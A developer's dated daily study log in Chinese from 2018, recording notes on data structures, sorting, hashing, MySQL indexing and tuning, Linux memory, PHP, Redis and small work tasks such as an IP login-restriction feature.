6.有了虛擬內存地址,能夠方便實現內存共享,內核和共享庫的映射實現
7.linux採用分頁(paging)的方式來記錄對應關係,以更大尺寸的單位頁(page)來管理內存,一般每頁大小爲4KB,能夠極大的減小內存對應關係
8.每一個十六進制虛擬內存地址,前五個是頁編號,後三個是偏移量,表達了該字節在頁內的位置
9.分級分頁表,進程空間頁和物理頁的對應關係記錄在分頁表中,多層分頁表進一步切割頁編號部分,分爲兩層或多層記錄對應關係,就好像把完整的電話號碼分紅區號
1.串的鏈式存儲結構不如順序存儲結構性能好,順序存儲結構,計算機中存在一個自由存儲區,叫作"堆",能夠由malloc()和free()來管理
2.樸素的模式匹配,字串的定位操做一般稱爲串的模式匹配
==========================================================================
2018年7月24日 記錄:
linux進程的三態模型:
1.就緒狀態:得到了除cpu以外的必要資源
2.執行狀態:得到了cpu,正在執行
3.阻塞狀態:等待某個事件發生而沒法執行
使用@font-face調用服務器端字體的代碼:
@font-face { font-family : name ; src : url( url ) ; sRules }
==========================================================================
2018年7月23日 記錄:
仲裁郵箱分頁功能實現
仲裁郵箱郵件目錄功能實現
==========================================================================
2018年7月20日 記錄:
1.登錄驗證
2.前端效果
3.短信驗證
4.發送短信
5.模板展現
==========================================================================
2018年7月19日 記錄:
MySQL的flush privileges語法:
將當前user表的用戶信息和privilige表的權限設置從mysql庫(就是mysql數據庫的內置庫)提取到內存裏
只容許內網用戶訪問:
update user set Host='172.16.%.%' where User='root';
查看PHP腳本的錯誤日誌:
php -i|grep error
error_log => /var/log/php_errors.log => /var/log/php_errors.log
1.CI框架的分組的控制器裏面必須得有__contruct方法
2.apache rewrite避免影響靜態文件RewriteRule ^/([^\.]+)$ /web.php/$1
RewriteRule ^/((?!static).*) /web.php/$1 除了static目錄之外的其餘全部
==========================================================================
2018年7月18日 記錄:
羣發助手問題:
1.多是目錄刪除後找不到文件致使的
2.刪掉刪文件的代碼,重新設置時間間隔
什麼時候須要創建索引
1.主鍵自動創建惟一索引。
2.頻繁做爲查詢條件的字段應該建立索引。
3.查詢中與其餘表關聯的字段,
4.外鍵關係創建索引。
5.頻繁更新的字段不適合創建索引,由於更新不僅僅要跟新 數據還要跟新索引,加劇了IO的負擔。
6.where條件裏用不到的字段不建立索引。
7.在高併發下推薦建立複合索引。
8.查詢中排序的字段,排序字段若是經過索引去訪問將大大提升排序速度。
9.查詢中統計或分組字段。
(1)system:表示只有一行記錄,通常不會出現,沒有意義。
(2)const:表示經過索引一次就能夠找到。
(3)eq_ref:惟一性索引掃描,對於每一個索引鍵,表中只有一條數據與之對應。
(4)ref:非惟一性索引掃描,返回匹配的全部行。
(5)range:值檢索給定範圍的行,between、<>、in等。
(6)index:遍歷全部索引。
(7)all:遍歷全表
(1) Using filesort:文件內排序,說明mysql使用了外部排序。
(2) Using temporary:使用了保存中間結構。(order by 、group by)
(3) Using index:效率不錯,表名使用了索引。
(4) Using where:
varchar(50),在4.1版本以前表明50個字節;以後的版本表明50個字符
char(50),最大字符個數50,尾部的空格會被刪除;在進行檢索的時候,char列會刪除尾部的空格
==========================================================================
2018年7月17日 記錄:
1.串的比較是經過字符之間的編碼來進行的,字符編碼指的是字符在對應字符集中的序號
2.s<t 知足條件:n<m ; k<min(m,n),Ai=Bi,Ak<Bk 兩個條件之一的時候 .詞典中單詞有序排列前面的字母比後面的字母小,字符串這種數據結構的典型應用
3.串的抽象數據類型
StrAssign(T,*chars):生成一個值等於字符串常量chars的串T
StrCopy(T,S):串S存在,串S複製得串T
ClearString(S):串S存在,將串清空
StringEmpty(S):判斷串S是否爲空
StrLength(S):串S的長度
StrCompare(S,T):比較S和T,>0 <0 =0
Concat(T,S1,S2):用T返回S1和S2鏈接而成的新串
SubString(Sub,S,pos,len):用Sub返回串S從第pos位置起長度爲len的字串
CentOS安裝MySQL的默認密碼:
1.yum install mysql mysql-sever
2.cat /var/log/mysqld.log |grep "temporary password"
3.set password=password('Tsh_203944_2');
==========================================================================
2018年7月16日 記錄:
訪問統計排行榜問題:
1.數據庫持久化
寫日誌,每日彙總當天的插入記錄
2.redis記錄,使用哪一個數據類型
使用Redis實現實時排行榜,使用有序集合zset實現,
ZADD key score1 member1 [score2 member2] 添加,若是已經存在就更新
ZRANGE key start stop [WITHSCORES] 獲取前幾名
ZSCORE key member 獲取某用戶的分數
==========================================================================
2018年7月13日 記錄:
1.性能剖析工具new relic,能夠全天候在生產環境中運行
2.xhprof,關注函數調用
3.ifp關注數據庫調用,對應用程序的請求,數據的查詢,緩存的查詢,將計數器計時器輸出到apache寫入日誌
4.開啓慢查詢日誌,要注意部署日誌輪換工具,或者只須要在收集樣本期間開啓
5.經過不斷shou full processlist查看,經過tcpdump查看
5.將慢查詢日誌傳入pt-query-digest 輸出剖析報告
6.show profile;show profile for query 1
==========================================================================
2018年7月12日 記錄:
IP登錄限制問題:
1.隊列是先進先出的線性表,FIFO,容許插入的一端叫隊尾,容許刪除的一端隊頭
2.隊列的抽象數據類型
InitQueue(*Q):初始化操做 QueueLength(Q):返回隊列的長度
DestroyQueue(*Q):銷燬隊列 ClearQueue(*Q):清空隊列 QueueEmpty(Q):判斷隊列是否爲空
GetHead(Q,*e):用e返回隊列的隊頭元素
EnQueue(*Q,e):插入e到隊列的隊尾元素
DeQueue(*Q,*e):刪除隊列的隊頭元素
3.引入兩個指針front指向隊頭元素,rear指向隊尾元素的下一個位置,隊列順序存儲的不足,出隊列時每一個元素都移動,若是不移動會有假溢出問題
4.循環隊列,把隊列頭尾相接的順序存儲結構,解決假溢出問題
5.單目運算符 >算術運算符 >移位 >比較 >按位 >邏輯 >三目運算符 >賦值運算符
6.快速排序:經過一趟排序將待排記錄分隔成獨立的兩部分,其中一部分記錄的關鍵字均比另外一部分的關鍵字小,則可分別對這兩部分記錄繼續進行排序
從數列中挑出一個元素,稱爲基準
從新排列數列,全部元素比基準小的放在基準前面,比基準大的放在基準後面,稱爲分區操做
遞歸的把基準值左邊的和基準值右邊的進行排序
pdo Mysql:
$sql ='select * from iplimit_white where ent_id=:ent_id and user_id=:user_id';
$sth=$db->prepare($sql);
$sth->execute(array(':ent_id'=>1,':user_id'=>2));
==========================================================================
2018年7月11日 記錄:
php的heredoc技術:
<<<Eof
……
Eof;
1.棧與四則基本運算:
1.不須要括號的後綴表達式稱爲逆波蘭表示,解決了程序實現四則運算的難題
2.全部符號都在要運算數字的後面出現,9 3 1 - 3*+10 2 /+,遍歷表達式,遇到數字就進棧,遇到符號就將棧頂的兩個數字出棧運算,結果進棧
3.後綴表達式的推導過程,9+(3-1)*3+10/2 ,如果數字就直接輸出,如果符號則判斷與棧頂的優先級,是右括號或優先級低於棧頂的,棧頂的依次出棧輸出,當前符號進棧
2.對照七位的ASCII碼錶 控制符碼值 < 大寫字母碼值 < 小寫字母碼值
3.文件的邏輯結構是用戶可見結構:無結構的流式文件 ; 有結構的記錄式文件
4.文件型病毒系計算機病毒的一種,主要經過感染計算機中的可執行文件(.exe)和命令文件(.com)
宏病毒是一種寄存在文檔或模板的宏中的計算機病毒。
引導型病毒指寄生在磁盤引導區或主引導區的計算機病毒
5.七層網絡協議:
應用層:HTTP FTP SMTP DNS Telnet HTTPS協議在HTTP協議的基礎上,添加了SSl/TLS握手以及數據加密傳輸,也屬於應用層協議
表示層 會話層
傳輸層:TCP UDP
網絡層:IP ICMP RIP OSPF BGP IGMP
數據鏈路層:SLIP CSLIP 物理層
6.運算符優先級:&&>||>=
==========================================================================
2018年7月10日 記錄:
group by配合group_concat能夠合併多條記錄到一條
1.斐波那契數列公式:
f(n),當n=0 是0;當n=1 是1;當n>1 f(n-1)+f(n-2)
2.迭代法實現數列
a[0]=0;a[1]=1;for(int i=2;i<40;i++){a[i]=a[i-1]+a[i-2]}
3.遞歸法實現數列
int Fbi(int i){if(i<2) return i==0?0:1;return Fbi(i-1)+Fbi(i-2);}
4.迭代使用的是循環結構,遞歸使用的是選擇結構;遞歸結構清晰可是會創建大量函數副本,迭代不佔更多內存
==========================================================================
2018年7月9日 記錄:
IP登陸限制項目數據庫平臺建表
1.雲平臺:AWS Amazon Web Service 包含不少服務例如Amazon Simple Storage Service(S3) 和Amazon Elastic Compute Cloud(可伸縮雲計算)
2.AWS Authenticatio須要一對祕鑰:AWS Access Key ID和AWS Secret Key,使用環境變量保存比較安全export AWS_ACCESS_KEY_ID "xxx"
3.EC2能夠看作是虛擬機和虛擬服務器,一旦instance啓動後就有公網IP能夠訪問
4.Azure是微軟提供的雲服務
5.SSH(Secure Shell)提供安全通訊,遠程登陸和遠程命令的網絡協議,apt-get install openssh-server
6.S3的訪問方式兩種:s3.amazon.com/myid/1.jpg myid.s3.amazon.com/1.jpg
7.數手指是12進制.巴比倫數字是60進制,算籌是統一的十進制,能夠表示小數和正負數
8.編碼,是一種用在在機器與人,人與人之間傳遞信息的標準化方式,奠基現代計算機基礎的是馮諾依曼
9.馮諾依曼架構會有溢出問題,整型溢出變成負數問題,浮點數損失精度問題
10.內存溢出或者段錯誤問題,由於c或c++沒有提供內存保護機制加上強大的指針,若是使用動態內存分配,隨機分配的,找問題不容易
11.羅素悖論,集合該不應包含他自己,解決羅素悖論是引入類型理論
12.IEEE754標準,浮點數的二進制表示
13.五大經常使用算法:貪婪算法,動態規劃算法,分治算法,回溯算法 , 分支限界算法
14.冒泡排序,記憶
for($x=0;$x<count($arr)-1;$x++){
for($y=0;$y<count($arr)-$x-1;$y++){
if($arr[$y]>$arr[$y+1]){
$temp=$arr[$y];
$arr[$y]=$arr[$y+1];
$arr[$y+1]=$temp;
}
}
}
31,65,82,76,13,27,10,第四趟的順序,若是是第四趟了,那麼後四個確定是已經排好序的了,前三個小的分別往前走了四步,所以能夠直接出答案
31 65 82 76 13 27 10
31 65 82 76 13 27 10
31 65 76 82 13 27 10
31 65 76 13 82 27 10
31 65 76 13 27 82 10
31 65 76 13 27 10 82
31 65 76 13 27 10 82
31 65 76 13 27 10 82
31 65 13 76 27 10 82
31 65 13 27 76 10 82
31 65 13 27 10 76 82
31 65 13 27 10 76 82
31 13 65 27 10 76 82
31 13 27 65 10 76 82
31 13 27 10 65 76 82
13 31 27 10 65 76 82
13 27 31 10 65 76 82
13 27 10 31 65 76 82
==========================================================================
2018年7月6日 記錄:
索引案例學習:
1.若是使用某個索引進行範圍查詢,就沒法再使用另外一個索引(或者該索引的後續字段)進行排序了
2.使用in()技術
棧的應用-函數遞歸-斐波那契數列-前面相鄰之和構成後一項
1.假設兔子在出生兩個月之後就有繁殖能力,一對兔子每個月能生出一對小兔子,假設全部兔子不死,一年後多少對兔子
1 1 2 3 5 8 13 21 34 55 89 144 233
==========================================================================
2018年7月5日 記錄:
ip格式校驗和ip段交集檢測
獲取用戶IP:$_SERVER['REMOTE_ADDR']
類的自動加載:
1. spl_autoload_register() 函數能夠註冊任意數量的自動加載器,當使用還沒有被定義的類(class)和接口(interface)時自動去加載。
2.__autoload() 函數也能自動加載類和接口,在之後的版本中它可能被棄用
選擇優化的數據類型:
1.選擇更小的數據類型,例如0-200的tinyint unsigned更好
2.選擇簡單的數據類型,例如整型比字符串代價更低
3.避免使用NULL,使得索引很是複雜
4.decimal類型用於存儲精確的小數,能夠指定精度小數點的最大位數,使用int乘以必定倍數存儲
5.varchar類型用於存儲可變長字符串,節省了存儲空間
6.char類型定長,根據長度分配足夠的空間,適合存儲固定長度常常變動的數據,會截斷末尾空格,例如MD5值
7.blob和text,分別採用二進制和字符方式存儲,只需排序前面的一小部分字符,不能對所有字符串進行索引,大字段排序會用到磁盤臨時表和文件排序
8.若是explain中的extra列包含了using temporary,說明使用了隱式臨時表
棧頂放在單鏈表的頭部,而且不須要頭結點,對於空棧,鏈棧的空其實就是top=NULL,
1.鏈棧的進棧操做
s->next=S->top 把當前棧頂元素賦值給新結點的後繼
S->top=s 把新結點賦值給棧頂指針
2.鏈棧的出棧操做,時間複雜度均爲O(1s)
p=S->top 棧頂元素賦值給p
S->top=S->top->next 棧頂的後繼賦值給棧頂,棧頂指針下移
free(p) 釋放內存
==========================================================================
2018年7月4日 記錄:
獲取系統的性能和狀態:
1.爲基準測試創建目錄,將測試結果,配置文件,測試指標,腳本和其餘說明保存下來
2.收集CPU使用率,磁盤I/O,網絡流量統計,show global status計數器等
3.自動化測試,能夠是一個makefile文件或者一組腳本,能夠根據選擇:shell,PHP等
棧的抽象數據類型:
1.InitStack(*S):初始化操做,創建一個空棧
2.DestroyStack(*S):銷燬棧
3.ClearStack(*S):將棧清空
4.StackEmpty(S):判斷棧是否爲空
5.GetTop(S,*e):用e返回S的棧頂元素
6.Push(*S,e):將e插入棧
7.Pop(*S,*e):刪除棧頂元素
8.StackLength(S):返回S的元素個數
1.棧的順序存儲結構-進棧操做:
S->top++
S->data[S->top]=e
出棧操做:S->top--
2.兩棧共享空間:
兩個棧是在數組的兩端,向中間靠攏,棧盡是top1+1=top2,兩個棧頂會面
進棧操做:
S->top+1=S->top2棧滿
S->data[++S->top1] 根據傳入的棧序號,棧1
S->data[--S->top2] 棧2
出棧就是判斷兩個棧的序號S->top1-- ; S->top2++
==========================================================================
2018年7月3日 記錄:
1.InnoDB的數據存儲在表空間,表空間是由InnoDB管理的一個黑盒子,由數據文件組成
2.InnoDB採用MVCC來支持高併發,REPEATABLE READ(可重複讀),間隙鎖(next-key locking)防止幻讀
3.基於聚簇索引創建,聚簇索引對主鍵查詢有很高的性能
4.從磁盤讀取採用可預測性預讀,自動在內存中建立hash索引以加速讀操做的自適應哈希索引
5.支持熱備份
6.InnoDB的事務模型與鎖
1.MyISAM 加鎖與併發,對整張表加鎖
2.repair table進行數據修復
3.能夠基於前幾個字符建立索引
基準測試的指標:
吞吐量,單位時間內的事務處理數(TPS)
響應時間或延遲,測試任務所需的總體時間,百分比響應時間
併發性,HTTP協議是無狀態的,大多數用戶只是瀏覽讀取,並不等同於web服務器的併發性,僅僅是表示會話存儲機制能夠處理多少數據的能力,關注正在工做中的併發操做或者是同時工做中的線程數或者鏈接數,使用sysbench測試,記錄Threads_running狀態值
可擴展性,
棧是限定僅在表尾進行插入和刪除操做的線性表,先進後出的數據結構,容許插入和刪除的一端稱爲棧頂,另外一端稱爲棧底,不含任何數據元素的棧稱爲空棧
隊列是隻容許在一端進行插入操做,在另外一端進行刪除操做的線性表
==========================================================================
2018年7月2日 記錄:
1.將單鏈表中終端結點的指針端由空指針改成指向頭結點,單循環鏈表,循環鏈表和單鏈表的主要差別就在於循環的判斷條件上
原來是判斷p->next是否爲空,如今則是p->next不等於頭結點,則循環未結束
2.指向終端結點的尾指針表明該循環鏈表
3.兩條循環鏈表合併成一個循環鏈表
p=rearA->next;保存A表的頭結點
rearA->next=rearB->next->next;將本是B表的第一個結點賦值給rearA->next
rearB->next=p; 將原A表的頭結點賦值給rearB->next free(p)
1.雙向鏈表就是在單鏈表的每一個結點中,再設置一個指向其前驅結點的指針域
2.雙向鏈表的插入操做,將s插入到p和p->next之間 , 先搞定s的前驅和後繼 , 再搞定後結點的前驅 ,最後搞定前結點的後繼
s->prior=p ;把p賦值給s的前驅
s->next=p->next ;把p->next賦值給s的後繼
p->next->prior=s ;把s賦值給p->next的前驅
p->next =s ; 把s賦值給p的後繼
3.刪除結點p
p->prior->next=p->next ;把p->next賦值給p->prior的後繼
p->next->prior=p->prior ;把p->prior賦值給p->next的前驅
==========================================================================
2018年6月29日 記錄:
線性表順序存儲結構的三個屬性:
1.存儲空間的起始位置:數組data,他的存儲位置就是存儲空間的存儲位置
2.最大存儲容量:數組長度MAXSIZE
3.當前長度:length
獲取元素:L.data[i-1] , 時間複雜度是O(1)
插入元素: 時間復 雜度都是O(n)
1.若是插入位置不合理,拋出異常
2.線性表長度大於等於數組長度,拋出異常或動態增長容量
3.從最後一個元素開始向前遍歷到第i位置,分別向後移動一個位置 L->data[k+1]=L->data[k]
4.將元素填入位置i處 L->data[i-1]=e
5.表長加1
刪除元素: 時間複雜度都是O(n)
1.若是刪除位置不合理,拋出異常
2.取出刪除元素 L.data[i-1]
3.從刪除位置開始遍歷到最後一個位置,向前移動一個位置 L->data[k-1]=L->data[k]
4.表長減一
1.靜態鏈表其實也是要提早申請大的內存,只是在刪除和插入的時候,不須要以後的每一個元素都變化
2.靜態鏈表自己也是數組 也須要固定分配存儲大小 只是靜態鏈表加入了遊標 來實現指針的做用 插入和刪除和鏈表的效率同樣
3.靜態鏈表是爲了讓沒有指針的高級語言也可以用數組實現鏈表功能
4.靜態鏈表分配足夠大的空間,兩個鏈表一個實際鏈表一個備用鏈表,數組的第一個元素的cur用來存放備用鏈表第一個結點的下標,數組最後一個元素的cur用來存放第一個插入元素的下標,實際鏈表的最後一個元素cur爲0
utf8mb4:
1.能夠獲取更好的兼容性,能夠存儲emoji表情符,建議使用 utf8mb4 而非 utf8,事實上,最新版的phpmyadmin默認字符集就是utf8mb4。
2.數據庫表採用utf8mb4編碼,其中varchar(255)的column進行了惟一鍵索引,而mysql默認狀況下單個列的索引不能超過767位(不一樣版本可能存在差別)
3.utf8mb4編碼,一個字最多能夠佔用4個字節,那255*4就會超出767的字符限制了
4.解決索引長度不夠問題[Err] 1071 - Specified key was too long; max key length is 767 bytes
設置: innodb_large_prefix=1 改成on就是限制3072 innodb_file_format=Antelope
mysql索引的長度計算:
1.全部的索引字段,若是沒有設置not null,則須要加一個字節。
2.定長字段,int佔4個字節、date佔3個字節、char(n)佔n個字符。
3.變長字段,varchar(n),則有n個字符+兩個字節。
4.不一樣的字符集,一個字符佔用的字節數不一樣。latin1編碼的,一個字符佔用1個字節,gbk編碼的,一個字符佔用2個字節,utf8編碼的,一個字符佔用3個字節。 utf8mb4是一個字符佔4個字節
5.使用explain語句查詢到的key_len字段,能夠適用於上面的計算規則,能夠看到查詢是否使用到了聯合索引
6.mysql優化器會對條件中的 and的先後順序根據多列索引順序自動糾正過來
==========================================================================
2018年6月28日 記錄:
1.ip登錄限制,ip段排除內網三個網段的地址
2.ip段若是在範圍內,就禁止添加
3.ip段若是有交集也禁止添加
FormData類型實際上是在XMLHttpRequest 2級定義的,它是爲序列化表以及建立與表單格式相同的數據(固然是用於XHR傳輸)
建立一個formData對象實例有幾種方式
一、建立一個空對象實例 var formData = new FormData();
單鏈表的整表刪除:
1.聲明結點p和q
2.將第一個結點賦值給p
3.循環:
將下一個結點賦值給q
釋放p
將q賦值給p
單鏈表結構和順序存儲結構的優缺點:
1.存儲分配方式=>順序存儲是用一段連續的存儲單元依次存儲線性表的數據元素;單鏈表採用鏈式存儲結構,用一組任意存儲單元存放
2.時間性能=>查找 順序結構是O(1) 單鏈表是O(n) ;插入和刪除 順序存儲是O(n) 單鏈表是O(1)
3.空間性能=>順序存儲是預分配存儲空間 ; 單鏈表不須要預分配,元素個數不受限制
靜態鏈表:數組描述的鏈表,遊標實現法,如何用靜態數組模擬動態鏈表結構的存儲空間分配,須要時申請,無用時釋放
數組的每一個下標都對應一個data和一個cur,cur至關於單鏈表中的next指針,咱們把cur稱做遊標
結構體數組:是指數組中的每一個元素都是一個結構體。在實際應用中,結構體數組常被用來表示一個擁有相同數據結構的羣體
只要是人寫的代碼,就有bug,不是這出問題就是那出問題,若是沒有問題就是你尚未發現,阿里也不例外
樓上說不浮不躁的裝個屁呢,房價一直漲漲漲 生活成本一直漲漲漲 你還有心情不浮不躁慢慢潛心研究
==========================================================================
2018年6月27日 記錄:
鏈表頭指針勘誤:
1.頭指針是指鏈表指向第一個結點的指針
2.若鏈表有頭結點,則是指向頭結點的指針
3.頭指針具備標識做用,用頭指針冠以鏈表的名字
4.不管鏈表是否爲空,頭指針均存在
5.圖3-6-4和圖3-6-6,兩圖中「頭指針」改成「後繼指針地址」。圖3-6-6,「0900」應該改成「NULL」
6.單鏈表在C語言中用結構指針來描述
7.單鏈表的讀取主要是靠指針後移查找
單鏈表第i個數據插入結點的思路:
1.聲明一個指針p指向鏈表的第一個結點,初始化j從1開始
2.當j<i時,就遍歷鏈表,讓p的指針向後移,不斷指向下一結點,j累加1
3.若到鏈表末尾p爲空,則說明第i個元素不存在
4.不然查找成功在系統中生成空結點s
5.將數據元素e賦值給s->data
6.單鏈表的插入標準語句:s->next=p->next; p->next=s;
單鏈表刪除第i個數據結點的思路
前三步同樣
4.查找成功,將想刪除的結點p->next賦值給q
5.刪除標準語句p->next=q->next
6.將q結點的數據賦值給e
7.釋放q結點 , free(q)
插入和刪除都分爲兩部分,遍歷查找第i個元素,插入和刪除元素,單鏈表和順序表的時間複雜度:
查找的的時候都是O(n),鏈表在插入和刪除的時候都是O(1),插入和刪除越頻繁優點越明顯
==========================================================================
2018年6月26日 記錄:
ip登錄限制:
1.該企業是否開啓的狀態位
2.該用戶是否在白名單
3.該用戶ip是否在限制ip和ip段中
線性表的抽象數據模型ADT:
1.InitList(*L) 初始化操做
2.ListEmpty(L) 判斷線性表是否爲空
3.ClearList(*L) 清空線性表
4.GetElem(L,i,*e)線性表L中的第i個元素返回給e
5.LocateElem(L,e) 獲取該元素在線性表中的位置
6.ListInsert(*L,i,e)在線性表的第i個位置插入元素e
7.ListDelete(*L,i,*e)刪除線性表L中第i個元素,並用e返回該值
8.ListLength(L) 獲取線性表的元素個數
A和B的並集操做:
循環B中的每一個元素,判斷當前元素是否在A中,若是不在就插入到A中
線性表的順序存儲結構用一維數組來實現,第i個數據元素的存儲位置能夠由a1推算出loc(Ai)=Loc(A1)+(i-1)*c
==========================================================================
2018年6月25日 記錄:
Service Worker 會在另外的線程去緩存圖片,等圖片緩存完以後,再次刷新頁面,就能看到它的威力。
散列函數:
1.直接定址法,f(key)=a*key+b,簡單可是不多用
2.數字分析法,手機號的後四位等,抽取方法是使用關鍵字的一部分來計算散列存儲位置的方法,在散列函數中是經常用到的手段
3.平方取中法
4.摺疊分割求和法
5.除留餘數法,f(key)=key mod p (p<=m) 若是表的長度是m,一般p爲小於等於表長的最小質數
6.隨機數法,f(key)=random(key) ,設計好一個隨機種子,使用相同的隨機種子能夠獲得相同的數
解決哈希衝突:
1.開放定址法之一線性探測法,f(key)=(f(key)+n) mod 12 ,都不是同義詞卻須要爭奪一個地址的狀況稱爲堆積,增長平方運算不讓關鍵字彙集在某一塊區域,稱爲二次探測法f(key)=(f(key)+n的平方) mod 12, 位移量n採用隨機函數生成,稱之爲隨機探測法
2.再散列函數法,調用多個散列函數
3.鏈地址法
將關鍵字爲同義詞的記錄存儲在一個單鏈表中,在散列表中只保留全部同義詞表的頭指針
4.公共溢出區法,給全部衝突的關鍵字存到單獨的溢出表
C語言靜態數組:
數組的長度須要事先指定,只能是一個常數,系統會爲它分配一個固定大小的空間,之後都不能改變
數組越界,訪問到數組之外的內存
數組溢出,賦值時超出數組長度
動態數組:
數組的長度沒法預先肯定,執行代碼的過程當中用malloc分配的,須要手動釋放內存
==========================================================================
2018年6月22日 記錄:
php字符串比較大小:
1.兩個字符進行大小比較時,是比較着這兩個字符的ASCII碼大小
2.兩個字符串進行大小比較時,是從第一個字符開始,分別比教對應的ASCII大小
3.當一個數字與一個字符串/字符進行大小比較時,首先系統嘗試將此字符串/字符轉換爲整型,例如:intval("999元")爲999
4.0與任意不可轉化爲數字的字符串比較都爲true
1.結構體指針,指針指向結構體,結構體變量名和數組名不一樣,數組名在表達式中會被轉換成數組指針.
2.結構體不會分配內存空間,是一種數據類型,結構體變量才包含實實在在的數據
3.終端節點的指針端由空指針改成指向頭結點,稱爲單循環列表,簡稱循環列表
4.順序表查找時,挨個比較記錄a[i]與key的值,有序表查找時利用小於,大於,折半查找
5.散列技術: 存儲位置=f(關鍵字),不須要比較直接取得存儲位置;散列技術是在記錄的存儲位置和它的關鍵字之間創建一個肯定的對應關係f,使得每一個關鍵字key對應一個存儲位置f(key).f稱爲散列函數或者哈希函數;採用散列技術將記錄存儲在一塊連續的存儲空間中,被稱爲散列表或哈希表
6.散列技術既是存儲方法也是查找方法,主要是面向查找的存儲,最適合的求解問題是查找與給定值相等的記錄
7.不適用散列技術的狀況:一對多;範圍查找;排序;最大最小值
8.衝突:兩個關鍵字key1!=key2,可是f(key1)=f(key2),這種現象稱爲衝突
9.哈希函數的標準是,計算簡單,散列地址分佈均勻
==========================================================================
2018年6月21日 記錄:
動態內存分配:
1.在靜態存儲區域分配,編譯時就分配好的變量
2.在棧中進行分配,函數
3.在堆中進行分配,調用malloc等函數,若是沒有釋放就一直在內存中
ps命令的返回結果:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
VSZ: 佔用的虛擬記憶體大小
RSS: 佔用的記憶體大小
TTY: 終端的次要裝置號碼 (minor device number of tty)
STAT: 該行程的狀態:
D: 不可中斷的靜止
R: 正在執行中
S: 靜止狀態
T: 暫停執行
START: 行程開始時間
TIME: 執行的時間
COMMAND:所執行的指令
指針變量對星號*的總結:
在咱們目前所學到的語法中,星號*主要有三種用途:
表示乘法,例如int a = 3, b = 5, c; c = a * b;,這是最容易理解的。
表示定義一個指針變量,以和普通變量區分開,例如int a = 100; int *p = &a;。
表示獲取指針指向的數據,是一種間接操做,例如int a, b, *p = &a; *p = 100; b = *p;
float 稱爲單精度浮點型,double 稱爲雙精度浮點型,採用指數形式(2.1E5 = 2.1×105 ),float 始終佔用4個字節,double 始終佔用8個字節,
小數在內存中的存儲形式有關,不少簡單的小數壓根不能精確存儲
1.redis服務器中的數據庫默認有16個,能夠使用select命令來切換數據庫,select 2,當屢次切換後分不清時,能夠顯式的執行下select命令
2.expire命令能夠對鍵設置生存時間,ttl命令能夠返回剩餘的生存時間
3.過時刪除策略,定時刪除(比較耗費cpu時間),惰性刪除,按期刪除
4.列表鍵的底層實現之一就是鏈表,redis的鏈表實現是雙向鏈表
5.字典,又稱爲 符號表,關聯數組,映射(map),保存鍵值對的抽象數據結構,哈希鍵的底層實現之一
==========================================================================
2018年6月20日 記錄:
哈希衝突攻擊利用的哈希表最根本的弱點是:開源算法和哈希實現的肯定性以及可預測性,利用特殊構造的key來進行攻擊。要解決這個問題的方法則是讓攻擊者沒法輕易構造 可以進行攻擊的key序列。PHP採用的是一種 治標不治本的作法: 限制用戶提交數據字段數量 這樣能夠避免大部分的攻擊,執行json_decode()的時候也可能會遭受攻擊,目前PHP中HashTable的哈希衝突解決方法就是連接法。
SDS(簡單動態字符串)和C字符串有區別:
1.容易獲取長度
2.杜絕緩衝區溢出
3.減小修改字符串時帶來的內存重分配次數
==========================================================================
2018年6月19日 記錄:
4.疑似問題:刪除一個羣發列表,增長一個新的羣發列表,此時點返回,列表裏面會少幾條,刷新後正常顯示
Service Mesh 是用於處理服務間通訊的基礎設施層。它負責經過構成現代雲原生應用程序的複雜拓撲結構來可靠地傳遞請求,是位於 TCP / IP 之上的抽象層的網絡模型,對服務節點間請求的路由機制進行了抽象
處理海量數據問題:
1.哈希分治;2.simhash算法;3.外排序;4.MapReduce;5.多層劃分;6.位圖;7.布隆過濾器;8.Trie樹;9.數據庫;10.倒排索引。
==========================================================================
2018年6月15日 記錄:
==========================================================================
2018年6月14日 記錄:
快速排序原理:
1.先找第一個數字爲基準數
2.從右往左找小於基準數的,中止,從左往右找大於基準數的中止,兩個交換
3.直到左右的相遇中止,和基準數進行交換
4.左邊的繼續遞歸,右邊的繼續遞歸
5.快速排序之因此比冒泡快,由於每次交換都是跳躍式的
==========================================================================
2018年6月13日 記錄:
給定a、b兩個文件,各存放50億個url,每一個url各佔64字節,內存限制是4G,讓你找出a、b文件共同的url
1.遍歷文件,對每一個url求取hash(url)%1000,而後根據所取得的值將url分別存儲到1000個小文件
2.全部可能相同的url都在對應的小文件
3.把其中一個小文件的url存儲到hash_set中。而後遍歷另外一個小文件的每一個url,看其是否在剛纔構建的hash_set中
快速排序:
1.序列中找第一個數做爲基準數,
==========================================================================
2018年6月12日 記錄:
海量日誌數據,提取出某日訪問百度次數最多的那個IP:
1.大文件切分,好比切分紅1024個小文件
2.每一個小文件構築key是ip,value是次數的map,找出最多的那個
3.排序一下
搜索引擎會經過日誌文件把用戶每次檢索使用的全部檢索串都記錄下來,每一個查詢串的長度爲1-255字節。假設目前有一千萬個記錄(這些查詢串的重複度比較高,雖然總數是1千萬,但若是除去重複後,不超過3百萬個。一個查詢串的重複度越高,說明查詢它的用戶越多,也就是越熱門。),請你統計最熱門的10個查詢串,要求使用的內存不能超過1G,Top K 算法
維護一個Key爲Query字串,Value爲該Query出現次數的HashTable,每次讀取一個Query,若是該字串不在Table中,那麼加入該字串,而且將Value值設爲1;若是該字串在Table中,那麼將該字串的計數加一便可。最終咱們在O(N)的時間複雜度內完成了對該海量數據的處理
==========================================================================
2018年6月11日 記錄:
1.PHP命名空間與操做系統的物理文件系統不一樣,這是一個虛擬的概念,不必和目錄結構徹底對應
2.爲了兼容PSR-4自動加載器標準,會對應目錄結構
3.能夠導入函數和常量,use func xxx\xxx; use constant xxx\xxx
4.PHP-FIG制定了PSR-4的標準
5.使用接口編程能夠極大的提升代碼擴展能力
6.trait(性狀):表名類能夠作什麼像是接口;提供模塊化實現像是類
7.定義trait MyTrait{},在其餘類的定義體內中使用use MyTrait,php解釋器會把性狀內容複製過來
8.這個時候在使用該類的對象的時候,能夠直接使用trait中的方法
9.php生成器yeild,能夠極大的節省內存,例如讀取大文件的時候,只會爲1行分配內存
10.使用use關鍵字附加變量到閉包上
建立鏈表尾插法
1.建立頭結點,頭結點的next指向null
2.把頭結點賦值給一箇中間變量
3.循環中建立結點, 中間變量的next指向新結點
4.新結點覆蓋中間變量
==========================================================================
2018年6月8日 記錄:
主從讀取中,有些update語句指定了從庫
1209 - The MySQL server is running with the--read-only option so it cannot execute this statement
兩種緣由:
1.連到從庫了。從庫通常設置爲只讀。
2.主庫的read_only參數被修改成1
$i=0;
echo $i++;輸出0
echo $i;輸出1
go語言聖經-字符串:
1.一個字符串是一個不可改變的字節序列
